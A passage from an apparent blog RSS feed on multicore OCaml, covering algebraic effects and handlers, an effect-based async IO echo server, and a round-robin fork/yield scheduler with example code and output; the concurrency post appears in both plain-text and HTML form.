<a href="http://caml.inria.fr/pub/docs/manual-ocaml/libref/Unix.html">Unix</a> module.</p>

<p>The asynchronous IO implementation works as follows. For each blocking action,
if the action can be performed immediately, then it is. Otherwise, the thread
performing the blocking task is suspended and add to a pool of threads waiting
to perform IO:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="c">(* Block until data is available to read on the socket. *)</span>
<span class="n">effect</span> <span class="nc">Blk_read</span>  <span class="o">:</span> <span class="n">file_descr</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
<span class="c">(* Block until socket is writable. *)</span>
<span class="n">effect</span> <span class="nc">Blk_write</span> <span class="o">:</span> <span class="n">file_descr</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
<span class="c">(* Sleep for given number of seconds. *)</span>
<span class="n">effect</span> <span class="nc">Sleep</span> <span class="o">:</span> <span class="kt">float</span> <span class="o">-&gt;</span> <span class="kt">unit</span>

<span class="k">let</span> <span class="k">rec</span> <span class="n">core</span> <span class="n">f</span> <span class="o">=</span>
  <span class="k">match</span> <span class="n">f</span> <span class="bp">()</span> <span class="k">with</span>
  <span class="o">...</span>
  <span class="o">|</span> <span class="n">effect</span> <span class="p">(</span><span class="nc">Blk_read</span> <span class="n">fd</span><span class="p">)</span> <span class="n">k</span> <span class="o">-&gt;</span>
      <span class="k">if</span> <span class="n">poll_rd</span> <span class="n">fd</span> <span class="k">then</span> <span class="n">continue</span> <span class="n">k</span> <span class="bp">()</span>
      <span class="k">else</span> <span class="p">(</span><span class="nn">Hashtbl</span><span class="p">.</span><span class="n">add</span> <span class="n">read_ht</span> <span class="n">fd</span> <span class="n">k</span><span class="p">;</span>
            <span class="n">dequeue</span> <span class="bp">()</span><span class="p">)</span>
  <span class="o">|</span> <span class="n">effect</span> <span class="p">(</span><span class="nc">Blk_write</span> <span class="n">fd</span><span class="p">)</span> <span class="n">k</span> <span class="o">-&gt;</span>
      <span class="k">if</span> <span class="n">poll_wr</span> <span class="n">fd</span> <span class="k">then</span> <span class="n">continue</span> <span class="n">k</span> <span class="bp">()</span>
      <span class="k">else</span> <span class="p">(</span><span class="nn">Hashtbl</span><span class="p">.</span><span class="n">add</span> <span class="n">write_ht</span> <span class="n">fd</span> <span class="n">k</span><span class="p">;</span>
            <span class="n">dequeue</span> <span class="bp">()</span><span class="p">)</span>
  <span class="o">|</span> <span class="n">effect</span> <span class="p">(</span><span class="nc">Sleep</span> <span class="n">t</span><span class="p">)</span> <span class="n">k</span> <span class="o">-&gt;</span>
        <span class="k">if</span> <span class="n">t</span> <span class="o">&lt;=</span> <span class="mi">0</span><span class="o">.</span> <span class="k">then</span> <span class="n">continue</span> <span class="n">k</span> <span class="bp">()</span>
        <span class="k">else</span> <span class="p">(</span><span class="nn">Hashtbl</span><span class="p">.</span><span class="n">add</span> <span class="n">sleep_ht</span> <span class="p">(</span><span class="nn">Unix</span><span class="p">.</span><span class="n">gettimeofday</span> <span class="bp">()</span> <span class="o">+.</span> <span class="n">t</span><span class="p">)</span> <span class="n">k</span><span class="p">;</span>
              <span class="n">dequeue</span> <span class="bp">()</span><span class="p">)</span>

<span class="k">let</span> <span class="n">accept</span> <span class="n">fd</span> <span class="o">=</span>
  <span class="n">perform</span> <span class="p">(</span><span class="nc">Blk_read</span> <span class="n">fd</span><span class="p">);</span>
  <span class="nn">Unix</span><span class="p">.</span><span class="n">accept</span> <span class="n">fd</span>

<span class="k">let</span> <span class="n">recv</span> <span class="n">fd</span> <span class="n">buf</span> <span class="n">pos</span> <span class="n">len</span> <span class="n">mode</span> <span class="o">=</span>
  <span class="n">perform</span> <span class="p">(</span><span class="nc">Blk_read</span> <span class="n">fd</span><span class="p">);</span>
  <span class="nn">Unix</span><span class="p">.</span><span class="n">recv</span> <span class="n">fd</span> <span class="n">buf</span> <span class="n">pos</span> <span class="n">len</span> <span class="n">mode</span>

<span class="k">let</span> <span class="n">send</span> <span class="n">fd</span> <span class="n">bus</span> <span class="n">pos</span> <span class="n">len</span> <span class="n">mode</span> <span class="o">=</span>
  <span class="n">perform</span> <span class="p">(</span><span class="nc">Blk_write</span> <span class="n">fd</span><span class="p">);</span>
  <span class="nn">Unix</span><span class="p">.</span><span class="n">send</span> <span class="n">fd</span> <span class="n">bus</span> <span class="n">pos</span> <span class="n">len</span> <span class="n">mode</span></code></pre></figure>

<p>The scheduler works by running all of the available threads until there are no
more threads to run. At this point, if there are threads that are waiting to
complete an IO operation, the scheduler invokes <code class="language-plaintext highlighter-rouge">select()</code> call and blocks
until one of the IO actions becomes available. The scheduler then resumes those
threads whose IO actions are now available:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="c">(* When there are no threads to run, perform blocking io. *)</span>
<span class="k">let</span> <span class="n">perform_io</span> <span class="n">timeout</span> <span class="o">=</span>
  <span class="k">let</span> <span class="n">rd_fds</span> <span class="o">=</span> <span class="nn">Hashtbl</span><span class="p">.</span><span class="n">fold</span> <span class="p">(</span><span class="k">fun</span> <span class="n">fd</span> <span class="n">_</span> <span class="n">acc</span> <span class="o">-&gt;</span> <span class="n">fd</span><span class="o">::</span><span class="n">acc</span><span class="p">)</span> <span class="n">read_ht</span> <span class="bp">[]</span> <span class="k">in</span>
  <span class="k">let</span> <span class="n">wr_fds</span> <span class="o">=</span> <span class="nn">Hashtbl</span><span class="p">.</span><span class="n">fold</span> <span class="p">(</span><span class="k">fun</span> <span class="n">fd</span> <span class="n">_</span> <span class="n">acc</span> <span class="o">-&gt;</span> <span class="n">fd</span><span class="o">::</span><span class="n">acc</span><span class="p">)</span> <span class="n">write_ht</span> <span class="bp">[]</span> <span class="k">in</span>
  <span class="k">let</span> <span class="n">rdy_rd_fds</span><span class="o">,</span> <span class="n">rdy_wr_fds</span><span class="o">,</span> <span class="n">_</span> <span class="o">=</span> <span class="nn">Unix</span><span class="p">.</span><span class="n">select</span> <span class="n">rd_fds</span> <span class="n">wr_fds</span> <span class="bp">[]</span> <span class="n">timeout</span> <span class="k">in</span>
  <span class="k">let</span> <span class="k">rec</span> <span class="n">resume</span> <span class="n">ht</span> <span class="o">=</span> <span class="k">function</span>
  <span class="o">|</span> <span class="bp">[]</span> <span class="o">-&gt;</span> <span class="bp">()</span>
  <span class="o">|</span> <span class="n">x</span><span class="o">::</span><span class="n">xs</span> <span class="o">-&gt;</span>
      <span class="n">enqueue</span> <span class="p">(</span><span class="nn">Hashtbl</span><span class="p">.</span><span class="n">find</span> <span class="n">ht</span> <span class="n">x</span><span class="p">);</span>
      <span class="nn">Hashtbl</span><span class="p">.</span><span class="n">remove</span> <span class="n">ht</span> <span class="n">x</span><span class="p">;</span>
      <span class="n">resume</span> <span class="n">ht</span> <span class="n">xs</span>
  <span class="k">in</span>
  <span class="n">resume</span> <span class="n">read_ht</span> <span class="n">rdy_rd_fds</span><span class="p">;</span>
  <span class="n">resume</span> <span class="n">write_ht</span> <span class="n">rdy_wr_fds</span><span class="p">;</span>
  <span class="k">if</span> <span class="n">timeout</span> <span class="o">&gt;=</span> <span class="mi">0</span><span class="o">.</span> <span class="k">then</span> <span class="n">ignore</span> <span class="p">(</span><span class="n">wakeup</span> <span class="p">(</span><span class="nn">Unix</span><span class="p">.</span><span class="n">gettimeofday</span> <span class="bp">()</span><span class="p">))</span> <span class="k">else</span> <span class="bp">()</span><span class="p">;</span>
  <span class="n">dequeue</span> <span class="bp">()</span></code></pre></figure>

<p>The
<a href="https://github.com/kayceesrk/ocaml-eff-example/blob/master/aio.ml">program</a>
implements a simple echo server. The server listens on localhost port 9301. It
accepts multiple clients and echoes back to the client any data sent to the
server. This server is a direct-style reimplementation of the echo server found
<a href="http://www.mega-nerd.com/erikd/Blog/CodeHacking/Ocaml/ocaml_select.html">here</a>,
which implements the echo server in CPS style:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="c">(* Repeat what the client says until the client goes away. *)</span>
<span class="k">let</span> <span class="k">rec</span> <span class="n">echo_server</span> <span class="n">sock</span> <span class="n">addr</span> <span class="o">=</span>
  <span class="k">try</span>
    <span class="k">let</span> <span class="n">data</span> <span class="o">=</span> <span class="n">recv</span> <span class="n">sock</span> <span class="mi">1024</span> <span class="k">in</span>
    <span class="k">if</span> <span class="nn">String</span><span class="p">.</span><span class="n">length</span> <span class="n">data</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="k">then</span>
      <span class="p">(</span><span class="n">ignore</span> <span class="p">(</span><span class="n">send</span> <span class="n">sock</span> <span class="n">data</span><span class="p">);</span>
       <span class="n">echo_server</span> <span class="n">sock</span> <span class="n">addr</span><span class="p">)</span>
    <span class="k">else</span>
      <span class="k">let</span> <span class="n">cn</span> <span class="o">=</span> <span class="n">string_of_sockaddr</span> <span class="n">addr</span> <span class="k">in</span>
      <span class="p">(</span><span class="n">printf</span> <span class="s2">"echo_server : client (%s) disconnected.</span><span class="se">\n</span><span class="s2">%!"</span> <span class="n">cn</span><span class="p">;</span>
       <span class="n">close</span> <span class="n">sock</span><span class="p">)</span>
  <span class="k">with</span>
  <span class="o">|</span> <span class="n">_</span> <span class="o">-&gt;</span> <span class="n">close</span> <span class="n">sock</span></code></pre></figure>

<p>The echo server can be tested with a telnet client by starting the server and
on the same machine running <code class="language-plaintext highlighter-rouge">telnet localhost 9301</code>.</p>

<h2 id="conclusion">Conclusion</h2>

<p>The aim of the post is to illustrate the variety of alternative programming
paradigms that arise due to algebraic effects and handlers, and hopefully
kindle interest in reasoning and programming with effects and handlers in
OCaml. Algebraic effects and handlers support in OCaml is in active development
within the context of <a href="https://github.com/ocamllabs/ocaml-multicore">multicore
OCaml</a>. When you find those
inevitable bugs, please report them to the <a href="https://github.com/ocamllabs/ocaml-multicore/issues">issue
tracker</a>.</p>

<div class="footnotes" role="doc-endnotes">
  <ol>
    <li id="fn:Eff" role="doc-endnote">
      <p><a href="http://arxiv.org/pdf/1203.1539v1.pdf">Programming with Algebraic Effects and Handlers (pdf)</a> <a href="#fnref:Eff" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
    <li id="fn:Idris-eff" role="doc-endnote">
      <p><a href="http://eb.host.cs.st-andrews.ac.uk/drafts/effects.pdf">Programming and Reasoning with Algebraic Effects and Dependent Types (pdf)</a> <a href="#fnref:Idris-eff" class="reversefootnote" role="doc-backlink">&#8617;</a></p>
    </li>
  </ol>
</div>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Effective Concurrency with Algebraic Effects]]></title>
            <link>https://kcsrk.info/ocaml/multicore/2015/05/20/effects-multicore/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/multicore/2015/05/20/effects-multicore/</guid>
            <pubDate>Wed, 20 May 2015 14:04:00 GMT</pubDate>
            <description><![CDATA[Algebraic effects and handlers provide a modular abstraction for expressing
effectful computation, allowing the programmer to separate the expression of an
effectful computation from its implementation. In this post, I will present an
extension to OCaml for programming with linear algebraic effects, and
demonstrate its use in expressing concurrency primitives for multicore
OCaml. The design and
implementation of algebraic effects for multicore OCaml is due to Leo
White, Stephen Dolan and
the multicore team at OCaml
Labs.
Motivation
Multicore-capable functional programming language implementations such as
Glasgow Haskell Compiler,
F#, Manticore and
MultiMLton expose one or more
libraries for expressing concurrent programs. The concurrent threads of
execution instantiated through the library are in turn multiplexed over the
available cores for speed up. A common theme among such runtimes is that the
primitives for concurrency along with the concurrent thread scheduler is baked
into the runtime system. Over time, the runtime system itself tends to become a
complex, monolithic piece of software, with extensive use of locks, condition
variables, timers, thread pools, and other arcana. As a result, it becomes
difficult to maintain existing concurrency libraries, let alone add new ones.
Such lack of malleability is particularly unfortunate as it prevents developers
from experimenting with custom concurrency libraries and scheduling strategies,
preventing innovation in the ecosystem. Our goal with this work is to provide a
minimal set of tools with which programmers can implement new concurrency
primitives and schedulers as OCaml libraries.
A Taste of Effects
A Simple Scheduler
Let us illustrate the algebraic effect extension in multicore OCaml by
constructing a concurrent round-robin scheduler with the following interface:
(* Control operations on threads *)
val fork  : (unit -> unit) -> unit
val yield : unit -> unit
(* Runs the scheduler. *)
val run   : (unit -> unit) -> unit


The basic tenet of programming with algebraic effects is that performing an
effectful computation is separate from its interpretation1.
In particular, the interpretation is dynamically chosen based on the context in
which an effect is performed. In our example, spawning a new thread and
yielding control to another are effectful actions, for which we declare the
following effects:
type _ eff +=
| Fork  : (unit -> unit) -> unit eff
| Yield : unit eff


The type 'a eff is the predefined extensible variant type for effects,
where 'a represents the return type of performing the effect. For
convenience, we introduce new syntax using which the same declarations are
expressed as follows:
effect Fork  : (unit -> unit) -> unit
effect Yield : unit


Effects are performed using the primitive perform of type 'a eff -> 'a. We
define the functions fork and yield as follows:
let fork f = perform (Fork f)
let yield () = perform Yield


What is left is to provide an interpretation of what it means to perform
fork and yield. This interpretation is provided with the help of
handlers.



1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19

let run main =
  let run_q = Queue.create () in
  let enqueue k = Queue.push k run_q in
  let rec dequeue () =
    if Queue.is_empty run_q then ()
    else continue (Queue.pop run_q) ()
  in
  let rec spawn f =
    match f () with
    | () -> dequeue ()
    | exception e ->
        print_string (to_string e);
        dequeue ()
    | effect Yield k ->
        enqueue k; dequeue ()
    | effect (Fork f) k ->
        enqueue k; spawn f
  in
  spawn main





The function spawn f (line 8) evaluates f in a new thread of control. f
may return normally with value () or exceptionally with an exception e or
effectfully with the effect performed along with the delimited
continuation2 k. In the pattern effect e k, if the
effect e has type 'a eff, then the delimited continuation k has type
('a,'b) continuation, i.e., the return type of the effect 'a matches the
argument type of the continuation, and the return type of the delimited
continuation is 'b.
Observe that we represent the scheduler queue with a queue of delimited
continuations, with functions to manipulate the queue (lines 2–6). In the case
of normal or exceptional return, we pop the scheduler queue and resume the
resultant continuation using the continue primitive (line 6). continue k v
resumes the continuation k : ('a,'b) continuation with value v : 'a and
returns a value of type 'b. In the case of effectful return with Fork f
effect (lines 16–17), we enqueue the current continuation to the scheduler
queue and spawn a new thread of control for evaluating f. In the case of
Yield effect (lines 14–15), we enqueue the current continuation, and resume
some other saved continuation from the scheduler queue.
Testing the scheduler
Lets write a simple concurrent program that utilises this scheduler, to create
a binary tree of tasks. The sources for this test are available
here. The program
concurrent.ml:
let log = Printf.printf

let rec f id depth =
  log "Starting number %i\n%!" id;
  if depth > 0 then begin
    log "Forking number %i\n%!" (id * 2 + 1);
    Sched.fork (fun () -> f (id * 2 + 1) (depth - 1));
    log "Forking number %i\n%!" (id * 2 + 2);
    Sched.fork (fun () -> f (id * 2 + 2) (depth - 1))
  end else begin
    log "Yielding in number %i\n%!" id;
    Sched.yield ();
    log "Resumed number %i\n%!" id;
  end;
  log "Finishing number %i\n%!" id

let () = Sched.run (fun () -> f 0 2)


generates a binary tree of depth 2, where the tasks are numbered as shown
below:

The program forks new tasks in a depth-first fashion and yields when it reaches
maximum depth, logging the actions along the way. To run the program, first
install multicore OCaml compiler, available from the OCaml Labs dev
repo. Once the compiler is
installed, the above test program can be compiled and run as follows:
$ git clone https://github.com/kayceesrk/ocaml-eff-example
$ cd ocaml-eff-example
$ make
$ ./concurrent
Starting number 0
Forking number 1
Starting number 1
Forking number 3
Starting number 3
Yielding in number 3
Forking number 2
Starting number 2
Forking number 5
Starting number 5
Yielding in number 5
Forking number 4
Starting number 4
Yielding in number 4
Resumed number 3
Finishing number 3
Finishing number 0
Forking number 6
Starting number 6
Yielding in number 6
Resumed number 5
Finishing number 5
Finishing number 1
Resumed number 4
Finishing number 4
Finishing number 2
Resumed number 6
Finishing number 6


The output illustrates how the tasks are forked and scheduled.
Implementation
Fibers for Concurrency
The main challenge in the implementation of algebraic effects is the efficient
management of delimited continuations. In multicore OCaml3, the delimited
continuations are implemented using fibers, which are small heap-allocated,
dynamically resized stacks. Fibers represent the unit of concurrency in the
runtime system.
Our continuations are linear (one-shot)4, in that once captured,
they may be resumed at most once. Capturing a one-shot continuation is fast,
since it involves only obtaining a pointer to the underlying fiber, and
requires no allocation. OCaml uses a calling convention without callee-save
registers, so capturing a one-shot continuation requires saving no more context
than that necessary for a normal function call.
Since OCaml does not have linear types, we enforce the one-shot property at
runtime by raising an exception the second time a continuation is invoked. For
applications requiring true multi-shot continuations (such as probabilistic
programming5), we envision providing an explicit operation to copy
a continuation.
While continuation based concurrent functional programming runtimes such as
Manticore and MultiMLton use undelimited continuations, our continuations are
delimited. We believe delimited continuations enable complex nested and
hierarchical schedulers to be expressed more naturally due to the fact that
they introduce parent-child relationship between fibers similar to a function
invocation.
Running on Multiple Cores
Multicore OCaml provides support for shared-memory parallel execution. The unit
of parallelism is a domain, each running a separate system thread, with a
relatively small local heap and a single shared heap shared among all of the
domains. In order to distributed the fibers amongst the available domains, work
sharing/stealing schedulers are initiated on each of the domains. The multicore
runtime exposes to the programmer a small set of locking and signalling
primitives for achieving mutual exclusion and inter-domain communication.
The multicore runtime has the invariant that there are no pointers between the
domain local heaps. However, the programmer utilising the effect library to
write schedulers need not be aware of this restriction as fibers are
transparently promoted from local to shared heap on demand. We will have to
save multicore-capable schedulers for another post.
Eff ↩
Representing Monads ↩
Multicore OCaml (pdf) ↩
Representing Control in the presence of One-shot Continuations ↩
Embedded domain-specific language HANSEI for probabilistic models and (nested) inference ↩]]></description>
            <content:encoded><![CDATA[<p>Algebraic effects and handlers provide a modular abstraction for expressing
effectful computation, allowing the programmer to separate the expression of an
effectful computation from its implementation. In this post, I will present an
extension to OCaml for programming with linear algebraic effects, and
demonstrate its use in expressing concurrency primitives for <a href="https://github.com/ocamllabs/ocaml-multicore">multicore
OCaml</a>. The design and
implementation of algebraic effects for multicore OCaml is due to <a href="http://www.lpw25.net/">Leo
White</a>, <a href="https://github.com/stedolan">Stephen Dolan</a> and
the multicore team at <a href="http://www.cl.cam.ac.uk/projects/ocamllabs/">OCaml
Labs</a>.</p>

<!--more-->

<h2 id="motivation">Motivation</h2>

<p>Multicore-capable functional programming language implementations such as
<a href="https://www.haskell.org/ghc/">Glasgow Haskell Compiler</a>,
<a href="http://fsharp.org/">F#</a>, <a href="http://manticore.cs.uchicago.edu/">Manticore</a> and
<a href="https://github.com/kayceesrk/multiMLton">MultiMLton</a> expose one or more
libraries for expressing concurrent programs. The concurrent threads of
execution instantiated through the library are in turn multiplexed over the
available cores for speed up. A common theme among such runtimes is that the
primitives for concurrency along with the concurrent thread scheduler is baked
into the runtime system. Over time, the runtime system itself tends to become a
complex, monolithic piece of software, with extensive use of locks, condition
variables, timers, thread pools, and other arcana. As a result, it becomes
difficult to maintain existing concurrency libraries, let alone add new ones.
Such lack of malleability is particularly unfortunate as it prevents developers
from experimenting with custom concurrency libraries and scheduling strategies,
preventing innovation in the ecosystem. Our goal with this work is to provide a
minimal set of tools with which programmers can implement new concurrency
primitives and schedulers as OCaml libraries.</p>

<h2 id="a-taste-of-effects">A Taste of Effects</h2>

<h3 id="a-simple-scheduler">A Simple Scheduler</h3>

<p>Let us illustrate the algebraic effect extension in multicore OCaml by
constructing a concurrent round-robin scheduler with the following interface:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="c">(* Control operations on threads *)</span>
<span class="k">val</span> <span class="n">fork</span>  <span class="o">:</span> <span class="p">(</span><span class="kt">unit</span> <span class="o">-&gt;</span> <span class="kt">unit</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
<span class="k">val</span> <span class="n">yield</span> <span class="o">:</span> <span class="kt">unit</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
<span class="c">(* Runs the scheduler. *)</span>
<span class="k">val</span> <span class="n">run</span>   <span class="o">:</span> <span class="p">(</span><span class="kt">unit</span> <span class="o">-&gt;</span> <span class="kt">unit</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">unit</span></code></pre></figure>

<p>The basic tenet of programming with algebraic effects is that performing an
effectful computation is separate from its interpretation<sup id="fnref:Eff" role="doc-noteref"><a href="#fn:Eff" class="footnote" rel="footnote">1</a></sup>.
In particular, the interpretation is dynamically chosen based on the context in
which an effect is performed. In our example, spawning a new thread and
yielding control to another are effectful actions, for which we declare the
following effects:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">type</span> <span class="n">_</span> <span class="n">eff</span> <span class="o">+=</span>
<span class="o">|</span> <span class="nc">Fork</span>  <span class="o">:</span> <span class="p">(</span><span class="kt">unit</span> <span class="o">-&gt;</span> <span class="kt">unit</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">unit</span> <span class="n">eff</span>
<span class="o">|</span> <span class="nc">Yield</span> <span class="o">:</span> <span class="kt">unit</span> <span class="n">eff</span></code></pre></figure>

<p>The type <code class="language-plaintext highlighter-rouge">'a eff</code> is the predefined extensible variant type for effects,
where <code class="language-plaintext highlighter-rouge">'a</code> represents the return type of performing the effect. For
convenience, we introduce new syntax using which the same declarations are
expressed as follows:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="n">effect</span> <span class="nc">Fork</span>  <span class="o">:</span> <span class="p">(</span><span class="kt">unit</span> <span class="o">-&gt;</span> <span class="kt">unit</span><span class="p">)</span> <span class="o">-&gt;</span> <span class="kt">unit</span>
<span class="n">effect</span> <span class="nc">Yield</span> <span class="o">:</span> <span class="kt">unit</span></code></pre></figure>

<p>Effects are performed using the primitive <code class="language-plaintext highlighter-rouge">perform</code> of type <code class="language-plaintext highlighter-rouge">'a eff -&gt; 'a</code>. We
define the functions <code class="language-plaintext highlighter-rouge">fork</code> and <code class="language-plaintext highlighter-rouge">yield</code> as follows:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">let</span> <span class="n">fork</span> <span class="n">f</span> <span class="o">=</span> <span class="n">perform</span> <span class="p">(</span><span class="nc">Fork</span> <span class="n">f</span><span class="p">)</span>
<span class="k">let</span> <span class="n">yield</span> <span class="bp">()</span> <span class="o">=</span> <span class="n">perform</span> <span class="nc">Yield</span></code></pre></figure>

<p>What is left is to provide an interpretation of what it means to perform
<code class="language-plaintext highlighter-rouge">fork</code> and <code class="language-plaintext highlighter-rouge">yield</code>. This interpretation is provided with the help of
<em>handlers</em>.</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><table class="rouge-table"><tbody><tr><td class="gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
</pre></td><td class="code"><pre><span class="k">let</span> <span class="n">run</span> <span class="n">main</span> <span class="o">=</span>
  <span class="k">let</span> <span class="n">run_q</span> <span class="o">=</span> <span class="nn">Queue</span><span class="p">.</span><span class="n">create</span> <span class="bp">()</span> <span class="k">in</span>
  <span class="k">let</span> <span class="n">enqueue</span> <span class="n">k</span> <span class="o">=</span> <span class="nn">Queue</span><span class="p">.</span><span class="n">push</span> <span class="n">k</span> <span class="n">run_q</span> <span class="k">in</span>
  <span class="k">let</span> <span class="k">rec</span> <span class="n">dequeue</span> <span class="bp">()</span> <span class="o">=</span>
    <span class="k">if</span> <span class="nn">Queue</span><span class="p">.</span><span class="n">is_empty</span> <span class="n">run_q</span> <span class="k">then</span> <span class="bp">()</span>
    <span class="k">else</span> <span class="n">continue</span> <span class="p">(</span><span class="nn">Queue</span><span class="p">.</span><span class="n">pop</span> <span class="n">run_q</span><span class="p">)</span> <span class="bp">()</span>
  <span class="k">in</span>
  <span class="k">let</span> <span class="k">rec</span> <span class="n">spawn</span> <span class="n">f</span> <span class="o">=</span>
    <span class="k">match</span> <span class="n">f</span> <span class="bp">()</span> <span class="k">with</span>
    <span class="o">|</span> <span class="bp">()</span> <span class="o">-&gt;</span> <span class="n">dequeue</span> <span class="bp">()</span>
    <span class="o">|</span> <span class="k">exception</span> <span class="n">e</span> <span class="o">-&gt;</span>
        <span class="n">print_string</span> <span class="p">(</span><span class="n">to_string</span> <span class="n">e</span><span class="p">);</span>
        <span class="n">dequeue</span> <span class="bp">()</span>
    <span class="o">|</span> <span class="n">effect</span> <span class="nc">Yield</span> <span class="n">k</span> <span class="o">-&gt;</span>
        <span class="n">enqueue</span> <span class="n">k</span><span class="p">;</span> <span class="n">dequeue</span> <span class="bp">()</span>
    <span class="o">|</span> <span class="n">effect</span> <span class="p">(</span><span class="nc">Fork</span> <span class="n">f</span><span class="p">)</span> <span class="n">k</span> <span class="o">-&gt;</span>
        <span class="n">enqueue</span> <span class="n">k</span><span class="p">;</span> <span class="n">spawn</span> <span class="n">f</span>
  <span class="k">in</span>
  <span class="n">spawn</span> <span class="n">main</span>
</pre></td></tr></tbody></table></code></pre></figure>

<p>The function <code class="language-plaintext highlighter-rouge">spawn f</code> (line 8) evaluates <code class="language-plaintext highlighter-rouge">f</code> in a new thread of control. <code class="language-plaintext highlighter-rouge">f</code>
may return normally with value <code class="language-plaintext highlighter-rouge">()</code> or exceptionally with an exception <code class="language-plaintext highlighter-rouge">e</code> or
effectfully with the effect performed along with the delimited
continuation<sup id="fnref:Filinski94" role="doc-noteref"><a href="#fn:Filinski94" class="footnote" rel="footnote">2</a></sup> <code class="language-plaintext highlighter-rouge">k</code>. In the pattern <code class="language-plaintext highlighter-rouge">effect e k</code>, if the
effect <code class="language-plaintext highlighter-rouge">e</code> has type <code class="language-plaintext highlighter-rouge">'a eff</code>, then the delimited continuation <code class="language-plaintext highlighter-rouge">k</code> has type
<code class="language-plaintext highlighter-rouge">('a,'b) continuation</code>, i.e., the return type of the effect <code class="language-plaintext highlighter-rouge">'a</code> matches the
argument type of the continuation, and the return type of the delimited
continuation is <code class="language-plaintext highlighter-rouge">'b</code>.</p>

<p>Observe that we represent the scheduler queue with a queue of delimited
continuations, with functions to manipulate the queue (lines 2–6). In the case
of normal or exceptional return, we pop the scheduler queue and resume the
resultant continuation using the <code class="language-plaintext highlighter-rouge">continue</code> primitive (line 6). <code class="language-plaintext highlighter-rouge">continue k v</code>
resumes the continuation <code class="language-plaintext highlighter-rouge">k : ('a,'b) continuation</code> with value <code class="language-plaintext highlighter-rouge">v : 'a</code> and
returns a value of type <code class="language-plaintext highlighter-rouge">'b</code>. In the case of effectful return with <code class="language-plaintext highlighter-rouge">Fork f</code>
effect (lines 16–17), we enqueue the current continuation to the scheduler
queue and spawn a new thread of control for evaluating <code class="language-plaintext highlighter-rouge">f</code>. In the case of
<code class="language-plaintext highlighter-rouge">Yield</code> effect (lines 14–15), we enqueue the current continuation, and resume
some other saved continuation from the scheduler queue.</p>

<h3 id="testing-the-scheduler">Testing the scheduler</h3>

<p>Lets write a simple concurrent program that utilises this scheduler, to create
a binary tree of tasks. The sources for this test are available
<a href="https://github.com/kayceesrk/ocaml-eff-example">here</a>. The program
<code class="language-plaintext highlighter-rouge">concurrent.ml</code>:</p>

<figure class="highlight"><pre><code class="language-ocaml" data-lang="ocaml"><span class="k">let</span> <span class="n">log</span> <span class="o">=</span> <span class="nn">Printf</span><span class="p">.</span><span class="n">printf</span>

<span class="k">let</span> <span class="k">rec</span> <span class="n">f</span> <span class="n">id</span> <span class="n">depth</span> <span class="o">=</span>
  <span class="n">log</span> <span class="s2">"Starting number %i</span><span class="se">\n</span><span class="s2">%!"</span> <span class="n">id</span><span class="p">;</span>
  <span class="k">if</span> <span class="n">depth</span> <span class="o">&gt;</span> <span class="mi">0</span> <span class="k">then</span> <span class="k">begin</span>
    <span class="n">log</span> <span class="s2">"Forking number %i</span><span class="se">\n</span><span class="s2">%!"</span> <span class="p">(</span><span class="n">id</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">);</span>
    <span class="nn">Sched</span><span class="p">.</span><span class="n">fork</span> <span class="p">(</span><span class="k">fun</span> <span class="bp">()</span> <span class="o">-&gt;</span> <span class="n">f</span> <span class="p">(</span><span class="n">id</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">1</span><span class="p">)</span> <span class="p">(</span><span class="n">depth</span> <span class="o">-</span> <span class="mi">1</span><span class="p">));</span>
    <span class="n">log</span> <span class="s2">"Forking number %i</span><span class="se">\n</span><span class="s2">%!"</span> <span class="p">(</span><span class="n">id</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">2</span><span class="p">);</span>
    <span class="nn">Sched</span><span class="p">.</span><span class="n">fork</span> <span class="p">(</span><span class="k">fun</span> <span class="bp">()</span> <span class="o">-&gt;</span> <span class="n">f</span> <span class="p">(</span><span class="n">id</span> <span class="o">*</span> <span class="mi">2</span> <span class="o">+</span> <span class="mi">2</span><span class="p">)</span> <span class="p">(</span><span class="n">depth</span> <span class="o">-</span> <span class="mi">1</span><span class="p">))</span>
  <span class="k">end</span> <span class="k">else</span> <span class="k">begin</span>
    <span class="n">log</span> <span class="s2">"Yielding in number %i</span><span class="se">\n</span><span class="s2">%!"</span> <span class="n">id</span><span class="p">;</span>
    <span class="nn">Sched</span><span class="p">.</span><span class="n">yield</span> <span class="bp">()</span><span class="p">;</span>
    <span class="n">log</span> <span class="s2">"Resumed number %i</span><span class="se">\n</span><span class="s2">%!"</span> <span class="n">id</span><span class="p">;</span>
  <span class="k">end</span><span class="p">;</span>
  <span class="n">log</span> <span class="s2">"Finishing number %i</span><span class="se">\n</span><span class="s2">%!"</span> <span class="n">id</span>

<span class="k">let</span> <span class="bp">()</span> <span class="o">=</span> <span class="nn">Sched</span><span class="p">.</span><span class="n">run</span> <span class="p">(</span><span class="k">fun</span> <span class="bp">()</span> <span class="o">-&gt;</span> <span class="n">f</span> <span class="mi">0</span> <span class="mi">2</span><span class="p">)</span></code></pre></figure>

<p>generates a binary tree of depth 2, where the tasks are numbered as shown
below:</p>

<p><img src="https://kcsrk.info/assets/tree.png" alt="Binary tree" /></p>

